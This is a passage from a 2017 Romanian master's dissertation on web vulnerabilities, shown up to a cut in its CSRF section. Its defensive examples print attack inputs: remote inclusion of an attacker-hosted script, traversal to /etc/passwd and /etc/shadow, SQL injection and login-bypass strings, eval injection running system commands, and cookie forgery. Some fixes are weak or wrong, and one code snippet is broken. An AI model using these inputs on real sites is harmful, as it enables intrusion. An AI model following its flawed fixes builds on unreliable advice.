METODE DE PREVENIRE A ATACURILOR DE TIP CROSS -SITE SCRIPTING COORDONATOR ȘTIINȚIFIC: Conf. univ. dr. PÎRNĂU MIRONELA ABSOLVENT: VĂLEA NU IONU… [618317]
UNIVERSITATEA “TITU MAIORESCU” DIN BUCUREȘTI
FACULTATEA DE INFORMATICĂ
LUCRARE DE DISERTA ȚIE
METODE DE PREVENIRE A ATACURILOR DE TIP
CROSS -SITE SCRIPTING
COORDONATOR ȘTIINȚIFIC:
Conf. univ. dr. PÎRNĂU MIRONELA
ABSOLVENT: [anonimizat]
2017
1
CUPRINS
CUPRINS ………………………….. ………………………….. ………………………….. ………………………….. … 1
INTRODUCERE ………………………….. ………………………….. ………………………….. ………………….. 3
Capitolul I: VULNE RABILITATI WEB ………………………….. ………………………….. ……………… 6
1.1 BEAST (Browser Exploit Against SSL/TLS) ………………………….. ………………………….. . 7
1.2 OWASP (Open Web Application Security Project) ………………………….. …………………. 10
1.3 Clase de vulnerabilități și securizarea acestora ………………………….. ………………………… 13
1.3.1 RFI (remote file inclusion) ………………………….. ………………………….. …………………. 13
1.3.2 LFI (local file inclusion) ………………………….. ………………………….. ……………………. 15
1.3.3 SQL Inject ion ………………………….. ………………………….. ………………………….. ………. 16
1.3.4 Login ByPass ………………………….. ………………………….. ………………………….. ………. 18
1.3.5 Arbitrary File Upload ………………………….. ………………………….. ………………………… 19
1.3.6 Remote Code & Command Execution ………………………….. ………………………….. …. 19
1.3.7 Full Path Disclosure ………………………….. ………………………….. ………………………….. 20
1.3.8 Insecure Cookie Handling ………………………….. ………………………….. ………………….. 21
1.3.9 CSRF (Cross -Site Request Forgery) ………………………….. ………………………….. ……. 21
1.3.10 Verbose E rror Messages ………………………….. ………………………….. ………………….. 23
1.4 Rapoarte vulnerabilități (CENZIC – Hailstorm) ………………………….. ………………………. 24
Capitolul II: CROSS -SITE SCRIPTING (XSS) ………………………….. ………………………….. …… 25
2.1 Istoric ………………………….. ………………………….. ………………………….. ……………………….. 26
2.2 Tipuri de XSS ………………………….. ………………………….. ………………………….. ……………. 28
2.2.1 XSS Reflectat (AKA First Order, Non -Persistent sau Type II) ………………………… 28
2.2.2 XSS Stocat (AKA Second Order, Persistent sau Type I) ………………………….. ……. 35
2.2.3 DOM Based XSS (AKA Type -0) ………………………….. ………………………….. ……….. 43
Capitolul III: METODE DE PREVENIRE XSS ………………………….. ………………………….. ….. 49
2
3.1 REGULA #0 – A nu se introduce niciodată date nesigure, cu excepția locațiilor
permise ………………………….. ………………………….. ………………………….. ………………………….. . 50
3.2 REGULA #1 – Codare HTML înainte de a insera date nesigure în conținutul de
elemente HTML ………………………….. ………………………….. ………………………….. ………………. 51
3.3 REGULA #2 – Codarea atributului înainte de a introduce date nesigure în atributele
comune HTML ………………………….. ………………………….. ………………………….. ………………… 52
3.4 Regula #3 – Codare JavaScript înainte de a intro duce date nesigure în valorile datelor
JavaScript ………………………….. ………………………….. ………………………….. ……………………….. 53
3.4.1 RULE #3.1 – HTML codeaza valorile JSON intr -un context HTML si citeste
datele cu JSON.parse ………………………….. ………………………….. ………………………….. ……. 54
3.5 Regula #4 – Codare CSSși validare strictă înainte de a introduce date nesigure in
valorile de propri etate ale stilului HTML ………………………….. ………………………….. ………… 56
3.6 Regula #5 – Codare URL înainte de a introducere date nesigure in valorile
parametrului HTML URL ………………………….. ………………………….. ………………………….. …. 58
3.7 Regula #6 – Sanitizarea marcajului HTML utilizând o librărie special proiectată …….. 59
3.8 Regula #7 – Prevenire DOM -based XSS ………………………….. ………………………….. ……. 60
3.9 Rezumatul regulilor de codare a output -ului ………………………….. ………………………….. . 62
3.10 Cea mai buna tehnică de prevenire a atacurilor XSS ………………………….. ………………. 63
Capitolul IV: APLICAȚII PRACTICE XSS ………………………….. ………………………….. ……….. 64
4.1 Scanare vulnerabilități web bWAPP ………………………….. ………………………….. ………….. 64
4.2 Teste de penetrare vulnerabilități XSS în mediul bWAPP ………………………….. ………… 67
4.3 BeEF – Framework de exploit al browser -ului ………………………….. ………………………… 69
CONCLUZII ………………………….. ………………………….. ………………………….. ………………………. 72
BIBLIOGRAFIE ………………………….. ………………………….. ………………………….. …………………. 73
3
INTRODUCERE
Vulnerabilitățile web au apărut odată cu apariția paginilor PHP. Încet -încet, odată cu evoluția
PHP-ului, și vulnerabilitățile au evoluat. Au devenit din ce în ce mai multe și mai complexe.
Industria securității s -a dezvoltat și ea astfel încât, în prezent, există numeroase oportunități
de angajare pentru cei pasionați de acest aspect al securității IT.
Prezentarea are scopul de a informa dezvoltatorii web de greșelile de programare pe care l e
pot face, erori care pot avea consecințe catastrofale în cazul unor companii mari.
Analiză unei vulnerabilități web este împărțită în câteva secțiuni:
Exemplu de bază
Unul sau mai multe exemple reale
Unul sau mai multe metode de protejare / evitare
Secur itatea web este cel mai omis aspect cu privire la securizarea datelor. Cu toții am auzit de
termenul de “hacker”, și știm că ei pot afecta instituțiile financiare, vânzătorii online și marile
corporații.
În 12 luni, între 2013 și 2014, FBI afirmau că un to tal de 519 milioane de date financiare au
fost furate de hackeri în Statele Unite ale Americii. Impactul financiar este unul enorm, a fost
estimat la aproximativ 445 de miliarde de dolari.
Ca și rezultat al acestor fapte industria este într -o continuă îmbu nătățire a securității web,
folosind scannere pentru vulnerabilități web, teste de penetrare și o mult mai bună protejare a
datelor. În anii trecuți știm că mai multe conturi de Gmail și Facebook au fost furate,
împreună cu datele financiare ale Heartland Payment System (plata cu card de credit si debit) .
Pe lângă pericolele unei încălcări a securității datelor în sine, există și riscul de a pierde
reputația și credibilitatea pentru cei ce cad pradă acestor atacuri. În general hackerii pot fi
destul de dăun ători pentru o afacere sau pentru o instituție în cazul în care aceștia exploatează
deficiența de securitate a unei aplicații web.
Web 1.0 (1990 – 2000)
Reprezintă prima fază în dezvoltarea Web si se caracterizează ca fiind un sistem
interdependent, iar documentele hipertext sunt accesate prin intermediul internetului.
4
Cu un browser Web, un utilizator vizualizează paginile Web care pot conține text, imagini și
alte tipuri de fișiere multimedia. Navigarea între ele se realizează cu ajutorul hyperlink -urilor.
Succesul Web 1.0 a avut la bază trei principii simple:
schema de adresare simplă și uniformă pentru identificarea resurselor în Internet
(Uniform Resource Identifiers – URIs); cel mai utilizat format de URI este URL (Uniform
Resource Locator)
Un formalism de reprezentare simplu și uniform pentru structurarea informațiilor care vor
fi prezentate prin intermediul navigatoarelor (HyperText Markup Language – HTML)
Un protocol simplu și uniform pent ru accesarea informațiilor (HyperText Transfer
Protocol – HTTP)
Web 2.0 (2000 – 2010)
Este termenul popular pentru tehnologia Internet și aplicațiile avansate si este frecvent asociat
cu aplicații web care facilitează interactivitatea pentru partajarea i nformației,
interoperabilitatea, proiectarea centrată pe utilizator și colaborarea prin World Wide Web.
Site-urile Web 2.0 includ comunitățile web de tipul:
servicii de găzduire;
aplicații web;
site-uri pentru rețele sociale;
site-uri pentru partajări video;
Wiki;
blog-uri;
Folksonomies (termen, apărut în 2002, pentru a descrie o clasificare a resurselor oferite
de utilizatori)
Caracteristicile majore ale Web 2.0 sunt:
Reduce diferența între consumatori și furnizorii de c onținut;
Trecerea de la mass -media pentru persoane fizice la mass -media pentru comunități;
Reduce diferența dintre consumatorii și furnizorii de servicii;
Integrarea dintre personalul uman și calculatoare într -o manieră nouă și inovatoare.
5
Web 3.0 (2010 – prezent)
Uneori folosit ca sinonim pentru web semantic, este un "web de date", care permite
calculatoarelor să înțeleagă semantica, sau sensul, de informații pe World Wide Web.
Web 3.0 extinde rețeaua resurselor existente pe internet (pagini web, docum ente text și
multimedia, baze de date, servicii etc), care pot fi citite de către utilizatori.
Aceasta se realizează prin adăugarea unor extensii, numite metadate, la documentele deja
existente, permițând datelor să fie prelucrate automat de către calculato are, prin similaritate.
Termenul a fost descris ca și concept pentru prima dată în anul 2006 de Tim Berners -Lee,
creatorul World Wide Web și director al World Wide Web Consortium, care supraveghează
dezvoltarea de s tandarde propuse World Wide Web.
Începând cu anul 2010, începe să se treacă treptat la Web 3.0, care presupune dinamizarea
totală a paginilor web prin adoptarea graficii vectoriale și implementarea web -ului semantic
ca unealtă a sistemelor de calcul de a observa informații în texte și de a genera informații noi
pe baza lor.
Caracteristici:
Legături arbitrare între lucruri (de exemplu, persoane, locații, evenimente etc.)
Structurile datelor din paginile web sunt explicite
Lucrurile descrise în paginile web sunt denumite și au URL
Legăturile di ntre lucruri sunt explicite
Tabel comparativ caracteristici Web 2.0 vs Web 3.0
6
Capitolul I: VULNERABILITATI WEB
Aplicațiile web au cunoscut o dezvoltare uluitoare de -a lungul ultimilor ani. Odată cu intrarea
în era WEB 2.0 și dezvoltarea cloud computing -ului o mare parte din activitatea internauților
s-a mutat în mediul web.
Dezvoltarea spectaculoasă a aplicațiilo r web a fost posibilă datorită inovațiilor tehnologice în
domeniu, specifice WEB 2.0, care au transformat simplele pagini web în care erau afișate
informații statice, în pagini dinamice, interactive ce permit o interacțiune ridicată a
utilizatorului cu ap licația.
Dezvoltarea uluitoare a web -ului a creat premisa apariției vulnerabilităților specifice oricărui
produs tehnologic. Numărul acestora este în continuă creștere deși cele mai populare atacuri
se bazează pe vulnerabilități identificate pentru prima d ată acum câțiva ani buni.
O vulnerabilitate este o slăbiciune care poate declanșa accidental sau intenționat o anumită
exploatare a sistemului. O sursă de amenințare: orice circumstanță sau eveniment care ar
putea produce pagube într -un sistem IT. Sursa de amenințare se poate folosi de o anumită
vulnerabilitate a sistemului. O sursă de amenințare nu poate reprezenta un risc atunci când nu
există o vulnerabilitate pe care să o poată exploata.
Fig. 1. 1 Schemă Vulnerabilități
7
Pricipalele cauze ale vulnerab ilităților web:
Greșelile de configurare, Bug -urile software, experiență etc;
Uneori lipsa de specialiști în securitatea informațiilor/datelor;
Lipsa informațiilor despre securitatea datelor;
Uneori cărțile de specialitate/programare nu tratează problemele de securitate;
Existența unor limbaje de programare nesigure;
Utilizatorii nu sunt suficient de atenți la securitatea datelor;
Securitatea este consumatoare de timp, costă și este uneori dificilă;
O serie de echipamente și aplicații folosesc parole default în momentul instalării, care
trebuiesc schimbate cât mai repede posibil.
1.1 BEAST (Browser Exploit Against SSL/TLS)
Un grup de cercetători specializați în securitatea IT au detaliat o vulnerabilitate în sistemul de
criptare https care ar permite u n atac al piraților Internetului chiar asupra celei mai comune
metode de securizare folosite de browsere.
Vulnerabilitatea afectează mai precis Transport Layer Security TLS 1.0, succesorul SSL
(Secure Sockets Layer). TLS este mecanismul de criptare folosit acum în HTTPS (Secure
Hypertext Transfer Protocol). Sistemul este folosit de bănci, site -uri financiare, sisteme de
autentificare online și chiar pentru accesul la email sau conturi de social media.
În fiecare deceniu apară un număr restrâns de abuzuri ca re să scoată la iveală vulnerabilități
cu adevărat semnificative. Aplicația BEAST(Browser Exploit Against SSL/TLS), creată de
Thai Duong și Juliano Rizzo se numără printre acestea deoarece compromite conexiunile
SSl/TLS folosite zilnic de milione de browse re web.
Deși BEAST nu poate "sparge" ultima versiune TLS (standarul curent bazat pe SSL)
majoritatea browserelor și cea mai mare parte din site -uirle web care suportă conexiuni
criptate folosesc versiunea 1.0 a SSL/TLS, versiune care este vulnerabilă. Prod ucătorii de
browsere web și site -urile web se grăbesc să treacă la criptarea TLS 1.1 sau 1.2 însă cât de
repede se va face trecea depinde de numărul de atacuri care vor avea loc.
8
Până în momentul de față jucătorii importanți din domeniul aplicațiilor de na vigat pe internet
fie am implementat TLS 1.1/1.2 în aplicațiile lor fie au realizat o repearatie temporară pentru
a preveni acest tip de atac.
Aplicația BEAST expoalteaza o vulnerabilitate cunoscută de acum 10 ani dar care era
considerată imposibil de exploatat. Această permite unui atât de tipil MiM(Man în the
Middle) să acceseze și să compromită cookie -ul SSL/TLS folosit de HTTPS. Acest lucru
permite atacatorului să deturneze conexiunea HTTPS activă sau să "asculte" conversația care
inițial era cripta tă.
Atacurile de tip MiM sunt foarte simplu de efectuat în momentul încare atacatorul și victima
sunt în aceeași rețea locală (rețele wireless, VPN sau rețele LAN aparținând unor companii).
Unele programe precum Cain & Abel realizarea atacurile MiM și dete ctarea pachetelor
trimise în cadrul rețelei la fel de simplu precum apăsarea unui buton.
BEAST profită de faptul că versiunile precedente TLS 1.1 nu folosesc un vector de
initializare implicit aleator pentru fiecare subsecventă consecutivă de date inițiată în cadrul
conexiuni HTTPS. Acest lucru a fost inițial discutat în 2002 la un forum de dezvoltare
OpenSSL. Această eroare vulnerabilitate este similară cu cea găsită în protocolul WEP, care a
scăzut în mod semnificativ protecția rețelelor wireless. Eroarea nu este nouă, dar mulți
apărători ai protocolului au contracarat acuzele spunând că este aproape imposibil de creeat
condițiile necesare pentru exploaterea ei. Duong și Rizzo, experți în domeniul securității au
reușit să genereze acele condiții.
BEAST acț ionează prin generarea unor blocuri de date "cunoscute" care sunt criptate folosind
vectori de iterare cunoscut. În cazul versiunilor precedente TLS 1.1 vectorii de iterare al unui
pachet de date este ultimul cifru de text al pachetului precedent. Acest lu cru face criptarea
destul de vulnerabilă întrucât majoritatea informațiilor criptate transmise folosesc sistemul
CBC (chiper -block chaining) pentru a crește viteză. În modul CBC fiecare bloc de text
simplu este criptat folosind informații din blocul preced ent. Ceea ce face fiecare subsecventă
de date unică este vectorul de iterare care este generat aleator. Cel puțin în teorie deoarce în
practică primele versiuni ale SSl, TLS și WEP acest lucru nu se întâmplă.
9
Fig. 1.2 Criptare CBC
BEAST folosește cod Ja vaScript care rulează pe aplicația de navigare a victimei pentru a
iniția maultiple blocuri de date criptate, fiecare bloc având un vector de iterare cunoscut dar și
conținutul necriptat al blocului (într -un sistem ideal de criptare nici una din aceste inf ormații
nu ar trebui să fie accesibilă atacatorului). Acest tip de ață a fost creat în mod teoretic în 2006
de către Gregory V. și a condus către dezvoltarea TLS 1.1.
Din nefericire versiunile TLS 1.1 și 1.2 nu sunt impuse în mod implicit nicăieri – și pen tru a fi
eficente toate celelelalte protocoale HTTPS ar trebui dezactivate de cel puțin una din părțile
conexiunii. Majoritate site -urilor protejate HTTPS nu vor facă trecerea ctre TLS 1.1 sau 1.2
prea curând iar dacă va actualizați aplicația de navigare p e internet și dezactivați protocoalele
vulnerabile nu veți fi capabil să va conectați la majoritatea serverelor HTTPS.
Doar câteva din cele mai polulare aplicații suportă TLS 1.1 și chiar și în cazul acestora este
posibil să nu fie activat în mod implicit. Cele mai noi versiuni ale Internet Explorer, Opera și
Safari pentru Windows suportă TLS 1.1 sau 1.2. Google Chrome a reparat vulnerabilitatea
prin intermediul unei actualizări care protejează userii împotriva unui atac care decriptează
datele trimise într e browser și site -urile web protejate de protocolul SSL.
Atacurile BEAST sunt o amenințare serioasă la adresa browserelor web. Cerință unui atât de
tipul MiM va încetini viteză atacurilor, lucru care va furniza un ragaza producătorilor de
aplicații cât și administratorilor de servere. Știm de această vulnerabilitate de cel puțin 10 ani
și totuși a fost nevoie de creerea unei unelte care să faciliteze un atac pentru a ne face să
renunțăm a un protocol vechi de cel puțin jumatete de deceniu.
10
Este puțin probab il că BEAST să impacteze milioane de utilizatori imediat însă pentru
victimele nefericite implicațiile vor fi grave. BEAST va fi înregistrat în istoria că un semnal
de alarmă și nu că un dezastru de securitate.
1.2 OWASP (Open Web Application Security Proj ect)
Este un program de standardizare în curs de dezvoltare pentru securitatea aplicațiilor web.
Este o comunitate online care creează articole, metodologii, documente, instrumente și
tehnologii în domeniul securității aplicațiilor web.
Fundația OWASP s -a lansat online la 1 decembrie 2001 și a fost înființată că o organizație
caritabilă non -profit în Statele Unite la 21 aprilie 2004.
Nu numai că tot ce merge în OWASP este oferit de voluntari, dar tot conținutul care iese din
aceste proiecte este oferit gra tuit. Peste 100 de unelte care codifică seturi de reguli și
standarde, documentație, CheatSheets și materiale educaționale, toate gratuite.
Conform OWASP –protecția/securitatea datelor și a informațiilor care circulă într -un sistem
trebuie să corespundă ur mătoarelor cerințe de securitate:
Confidențialitatea
Autentificarea
Autorizarea
imposibilitatea unei terțe entități să aibă acces la datele
vehiculate între doi receptori
presupune verificarea identității utilizatorului
specifică acțiunile (rolurile) pe care un utilizator le
poate realiza într -un anumit context asociată
autentificării
11
Integritatea
Nerepudierea
Intimitatea
Disponibilitatea
Vulnerabilitatea
implică detectarea încercărilor de modificare
neautorizată a datelor transmise
asigura că expeditorul unui mesaj nu poate a firmă că nu
l-a trimis
vizeaza drepturile ce trebuie respectate privind
caracterul (subiectul) datelor vehiculate confundata,
deseori, cu confidentialitatea
o anumită resursă este necesar să poată fi accesată la
momentul oportun
slăbiciuni ale unui sistem hardware/software ce permit
utilizatorilor neautorizați să aibă acces asupra lui
12
Fig. 1. 3 Siguranța aplicațiilor afectează toate organizațiile din toate industriile
Securitatea WEB trebuie sa ia in consideratie:
Clientul
interactiunea cu utilizatorul
datele personale stocate: cookie -uri, date off -line, cache etc.
transferurile asincrone via Ajax/Comet
existenta plugin -urilor si/sau extensiilor suspecte
Datele in tranzit
securitatea retelei
schimbul sigur de mesaje intre diverse entitati
ne-repudierea datelor
Serverul
securitatea serverului/serverelor Web
securitatea aplicatiilor
disponibilitatea serviciilor
13
1.3 Clase de vulnerabilități și securizarea acestora
Pe parcursul ultimilor ani, aplicațiile web au avut parte de o dezvoltare uimitoare, o
dată cu intrarea în era Web 2.0 și trecerea la Web 3.0. Acest fenomen a fost sprijinit de
inovațiile tehnologice din domeniu, prin care paginile web în care erau afișate mai înainte
informați i statice au devenit pagini dinamice, interactive ce permit un nivel de interacțiune
ridicat al utilizatorului cu aplicația web.
Dezvoltarea explozivă a creat de asemenea premisa apariției vulnerabilităților
specifice domeniului web, iar numărul acestora e ste în continuă creștere deși cele mai
populare atacuri au la baza tot vulnerabilități identificate pentru prima dată cu ani în urmă.
Cele mai cunoscute tipuri de vulnerabilități WEB sunt următoarele:
RFI (remote file inclusion)
LFI (local file inclusion)
SQL Injection
Login ByPass
Arbitrary File Upload
Remote Code & Command Execution
Full Path Disclosure
Insecure Cookie Handling
CSRF (cross -site request forgery)
Verbose Error Messages
1.3.1 RFI (remote file inclusion)
Este un tip de vulnerabilitate din ce în ce mai rar întâlnit în ziua de azi, dar este cel mai
periculos. Vulnerabilitatea constă în includerea unui fișier aflat pe alt server, folosind un
parametru GET. Practic, scriptul va include direct fișierul specificat prin valoarea unei
variabile trimis e prin GET.
Programatorul folosește următorul cod pentru a include un fișier:
if(isset($_GET['pagina']))
{
14
$pag=$_GET['pagina'];
include $pag; // Sau include $pag.".php";
}
Unde e greșeal a? În ideea scriptului. Dacă utilizatorul va specifică pentru variabilă <pagină>
valoarea "http://site.com/script.php", scriptul va include acest fișier ( desigur, dac ă <allow url
include > este activat ă ).
Opțiunea PHP “allow_url_include ” permite în mod nor mal unui programator să includă () un
fișier remote (cod PHP) utilizând o adresa URL, decât o cale de fișier local. Dacă un script
susține că are nevoie de această caracteristică, ar trebui căutat un software alternativ,
deoarece folosirea acestei caracter istici indică defecte grave de proiectare.
Să luăm un exemplu. Dacă un utilizator atribuie variabilei pagină valoarea "http://google.ro",
scriptul va include conținutul site -ului. Dar va include codul HTML generat de server. Însă ce
se întâmplă dacă utiliz atorul include "http://site.com/script.txt"? Dacă va include un
"http://site.com/script.php", acest script va fi interpretat ( în caz că pe server se află PHP ) pe
serverul pe care se află, iar scriptul va include outputul HTML. Însă dacă se include un fiș ier
cu extensia .txt, iar scriptul conține cod PHP, serverul va interpreta el acel cod. De cele mai
multe ori se folosește un shell ( script PHP, bine scris, care permite executarea multor funcții
pe serverul victima ).
Însă cu ce ajută acel ".php"? Simplu , cu nimic. Atacatorul va folosi o sintaxa de genul:
http://server.com/script.php?pagina=http://site.com/script.txt?
Singurul lucru necesar pentru acesta e adăugarea caracterului "?" la sfârșitul URL -ului pe
care dorește să fie inclus. Acest "?" va transformă ".php" -ul în variabilă GET, și nu va afecta
în nici un fel includerea scriptului.
Se poate folosi de asemenea și "%00" (URL -encoding), care reprezintă caracterul ASCII
NULL (null -byte character), care marchează sfârșitul unui șir de caractere. D eci ceea ce se
află după acest NULL nu e luat în considerare.
Securizare
În mod normal, prin filtrarea șirurilor "http://" și "ftp://", dar nu se recomandă această soluție,
pentru că scriptul va putea include fișiere locale, și se ajunge la LFI.
Cea mai bu nă soluție e schimbarea ideii incluziunii. Se poate folosi foarte ușor un switch,
care va conține o lista cu paginile care pot fi incluse. Exemplu:
15
if(isset($_GET['pagina']))
{
$pag=$_GET['pagina'];
switch($pag)
{
case "pag1.php":
include "pag1.php";
break;
case "pag2.php":
include "pag2.php";
break;
default:
include "meniu.php";
}
}
1.3.2 LFI (local file inclusion)
Este un tip de vulnerabilitate mai des întâlnită decât RFI, dar principiul e același: includerea
unui fișier trimis folosind o variabilă GET, însă scriptul va verifică dacă acel fișier există, iar
dacă există în va include. Exemplu:
if(isset($_GET['pagina']))
{
$pag=$_GET['pagina'];
if(file_exists($pag))
{
include $pag; // Sau include $pag.".php";
}
}
Nu e la fel de periculos c a RFI ( de asemenea poate include fișiere locale ), dar este foarte
periculos, și se poate ajunge la un grad de pericol la fel de mare că la R FI de la el.
16
Scriptul verifică dacă fișierul se află pe server, dar pe server nu se află decât fișierele
scriptului ( CMS – Content Management System) care conține pagină cu LFI. Deci se pot
include fișiere de pe server. Exemplu:
http://site.com/script.php ?pag=../../../../../bootsect.bak
Dar dacă scriptul include și acel ".php" va fi nevoie de folosirea caracterului NULL pentru a
fi posibilă incluziunea:
http://site.com/script.php?pag=../../../../../bootsect.bak%00
"../" se folosește pentru mutare în folder ul anterior folderului în care se află scriptul cu
probleme.
Astfel se va include fișierul "bootsect.bak", al cărui conținut va fi afișat în browser. Desigur,
fișierul bootsect.bak nu prezintă mare interes în situația dată, dar pe Linux se pot include
fișiere care conțin date importante că “etc/passwd” sau “/etc/shadow”.
Se poate ajunge la un pericol la fel de mare că RFI -ul. Se poate ajunge prin injectarea de cod
PHP în loguri, apoi includerea fișierului cu loguri, care conține cod PHP, sau prin injectarea
unui cod PHP într -o imagine urmat de uploadarea acesteia pe server ( dacă este posibil ), apoi
includerea sa.
Securizare
La fel că și RFI, folosind un switch pentru paginile care pot fi incluse. De asemenea, se pot
filtra șirurile "../" și "..".
1.3.3 SQL Injection
Este o vulnerabilitate foarte des întâlnită și poate provoca mult rău. În ce constă :
Programatorul caută în baza de date în funcție de un anumit ID, pe care utilizatorul îl trimite
prin GET către server.
Poate avea un cod de genul:
$int = mysql _query("SELECT x,y,z FROM tabel WHERE id='".
$_GET['id']. "'");
Se poate verifică foarte ușor dacă o pagină e vulnerabilă folosindu -se un apostrof .
http://site.com/script.php?id='2
http://localhost/tutorial.php?id='
17
http://localhost/tutorial.php?id=2'
Asfel, query -ul va fi următorul:
"SELECT x,y,z FROM tabel WHERE id=''2'"
Și se va returna o eroare în browser. Atacatorul va trece mai departe și va putea găsi numărul
de coloane folosind clauză "order by", va putea află baza de date folosind database(), va putea
citi tabelele din “information_schem a.tables ”, dacă versiunea MySQL mai mare că 5, va
putea găsi apoi coloanele, apoi va putea citi orice date din baza de date.
Securizare
Pentru prevenirea unui astfel de atac se folosește "mysql_real_escape_string ". Această
funcție adaugă back -slashuri în față unor caractere speciale ( \x00, \n, \r, \x1a, ' si " ). Aceste
caractere au o semnificație specială, nu sunt simple caractere.
De exemplu ghilimelele sunt folosite pentru a delimita un șir.
\x00 – null character %00 (URL-encoded)
\n – newline, line feed %0A (URL-encoded)
\r – carriage return %0D (URL-encoded)
\x1A – substitute %1A (URL-encoded)
Folosind această funcție, aceste caractere nu mai au nici o semnificație specială.
Așadar, la un request de gen ul http://site.com/script.php?id='2 , query -ul va părea tot
același, numai că <'> nu marchează sfârșitul unui șir, ci este caracter că oricare altul.
Codul va ar ăta cam a șa:
mysql_connect("localhost","root","");
mysql_select_db("forum");
$userid=mysql_real_escape_string($_GET['id']);
$int=mysql_query("SELECT * FROM post WHERE postid='".$userid."'");
Dacă "magic_quotes_gpc " este On, ghilimelele vor avea automat backslash în prefix , și este
necesar ca înainte de "mysql_real_escape_string " să fie șterse backslash -urile inițiale pentru
că șirul să nu aibă backslash de 2 ori.
Funcția “magic_quotes_gpc ” (Get, Post & Cookie ) evită caracterele speciale cu un <\>
pentru a permite unui șir să fie introdus într -o bază de date.
18
Exemplu:
if (get_magic_q uotes_gpc()) { $userid = stripslashes($_GET['id']); }
$userid = mysql_real_escape_string($value);
$int=mysql_query("SELECT * FROM post WHERE postid='".$use
De cele mai multe ori, atacurile au loc asupra variabilelor care reprezintă un id (Primary
Key). Dec i acest id va trebui să fie întotdeauna un număr. Se poate verifică acest lucru cu
ajutorul funcției "is_numeric". Însă cred că cea mai bună soluție este convertirea explicită a
parametrului la int.
Exemplu:
if(isset($_GET['id']))
{
$id_cerut=(int)($_G ET['id']);
}
Astfel, va fi necesar doar să se verifice dacă $id_cerut este 0. Dacă este 0, atunci atacatorul a
încercat ceva. Dacă de exemplu atacatorul a încercat ceva de genul:
http://localhost/tutorial.php?id=2'
Variabila $id_cerut va fi convertit ă explicit la int, și va avea valoarea 2, deci nu se va
întampla nimic.
Desigur, se pot folosi și funcțiile htmlentities si htmlspecialchars cu ENT_QUOTES pentru
acest lucru, se poate folosi și addslashes .
1.3.4 Login ByPass
Este tot un atac SQL Injection, întâlnit la căsuțele de logare. Să presupunem că avem un cod,
care va face logarea, de genul:
$int=mysql_query("SELECT * FROM users WHERE
user='{$_POST['username']}' AND password='{$_POST['password']}'");
Dacă utilizatorul introduce '' OR ''='' Query -ul va fi:
SELECT * FROM users WHERE user='admin' AND password='' OR ''=''
Și se va face logarea indiferent de user.
19
Securizare
Pentru a nu avea o astfel de problema puteți proceda că și la SQL Injection folosind funcțiile
htmlentities și htmlspecialchars cu ENT_QUOTES
(PHP 4, PHP 5, PHP 7)
Htmlentities – convertește toatele caracterele aplicabile în entități HTML
Htmlspecialchars – convertește caractere speciale în entități HTML
ENT_QUOTES – acest flag face conversia ghilimelelor duble, cât și a celor simple
1.3.5 Arbitrary File Upload
Acest tip de vulnerabilitate, practic, nu e o vulnerabilitate, de cele mai multe ori. Dacă aveți
un serviciu de upload pe server, aveți grijă că utilizatorii să nu poată uploada fișiere PHP.
Nu este îndeajuns că extensia să nu f ie ".php", recomandarea fiind a se citi fișierul ( în caz că
nu se pot uploada fișiere mari ) și să se verifice dacă conține cod PHP.
$fisier=file_get_contents($_FILES['fisier']['tmp_name']));
if(explode("<?php",$fisier)1 && explode("?>",$fisier)) print "C od
PHP detectat";
Dacă un fișier conține cod PHP, chiar dacă nu are extensia .php, în cazul unei vulnerabilități
LFI, acest cod va putea fi interpretat de către server.
Securizare
Este foarte greu să se oprescă un astfel de atac, multe fișiere și tipuri de fișiere pot conține
"<?” sau "?>", așadar recomandarea ar fi mai degrabă să nu existe LFI în script. În plus, dacă
se dorește o limita pentru mărimea fișierelor, nu se va pune baza pe un input hidden care să
conțină mărimea maximă, valoarea acestui câmp p oate fi schimbată.
Obiectul Input Hidden reprezinta un element de <input> HTML cu type="hidden" .
1.3.6 Remote Code & Command Execution
Acest tip de vulnerabilitate nu este foarte des întâlnit, dar este periculoas. Remote Code
Execution constă în executarea unor comenzi PHP. Acest lucru este posibil datorită funcției
<eval> , când se ev alueaza un parametru prin GET de exemplu.
eval — Evaluate a string as PHP code (PHP 4, PHP 5, PHP 7)
20
Exemplu:
eval("print '".$_GET['text']."';");
Dacă utilizatorul va face request catre:
http://site.com/script.php?text=Un text';phpinfo();
Se va observa în browser rezultatul funcției phpinfo() ;
Remote Command Execution constă în executarea unor comenzi în Terminal (cmd).
Acest lucru se poate face prin R emote Code Execution, cu ajutorul func ției eval:
http://site.com/script.php?text=Un text';system('ipconfig');
Exemplul este pentru Windows. De asemenea se poate rula un cod în Terminal dac ă
programatorul se folosește de func ția system ( exec, shell_exec, p assthru ).
system — Execute an external program and display the output (PHP 4, PHP 5, PHP 7)
Securizare
A nu se folosi deloc funcția eval(), cel puțin nu e un parametru prin GET. De asemenea să
nu se folosească nici funcțiile care execută comenzi în Termin al.
1.3.7 Full Path Disclosure
Nu este practic o vulnerabilitate, se poate descoperi calea completă pentru un fișier. De
exemplu dacă avem codul:
print strstr($_GET['id'],"1");
(PHP 4, PHP 5, PHP 7)
strstr — Find the first occurrence of a string
Iar utilizatorul face requestul:
http://site.com/script.php?id[]=2
Acesta va primi ca rezultat calea complet ă către fisier printr -un Warning:
Array to string conversion in C: \wamp\www\tutorial.php on line 3
Securizare
Se poate detecta foarte ușor folosind funcția is_array ().
(PHP 4, PHP 5, PHP 7)
is_array — Determină dacă o variabilă este un array
21
1.3.8 Insecure Cookie Handling
Este rar întâlnită, dar uneori poate fi periculoasă. De exemplu, nu se recomandă salvarea pe
PC-ul utilizatorului a unor date de lo gare sub formă de cookie. Dacă este furat cookie,
atacatorul va avea userul și parolă victimei. De asemenea nu folosiți o variabilă cookie pentru
a verifică dacă un utilizator este logat, dacă valoarea acestei variabile este True. Valoarea să
se poate seta la True foarte ușor:
javascript:document.cookie="variabila = true";
Securizare
Pentru a nu avea astfel de probleme se recomandă folosirea sesiunilor în locul cookie -urilor.
1.3.9 CSRF ( Cross-Site Request Forgery)
Cross -site Request Forgery (CSRF sau XSRF) este o formă de atac asupra aplicațiilor web
care se folosește de relațiile de încredere existente între aplicațiile web și utilizatorii
autentificați prin a forța acei utilizatori să facă tranzacții sensibile în numele atacatorului.
Această vulnerabilita te, deși mai puțin cunoscută ca XSS, este mult mai periculoasă decât
cross -site scripting, deoarece își are rădăcinile în natura lipsită de stare (stateless) ale
specificațiilor HTTP -ului, care cer ca un token de autentificare să fie trimis cu fiecare cere re a
utilizatorului.
În mod obișnuit, vulnerabilitățile web apar ca urmare a unor greșeli făcute de dezvoltatorii
paginilor web în timpul proiectării și dezvoltării acestora sau de către administratori, în
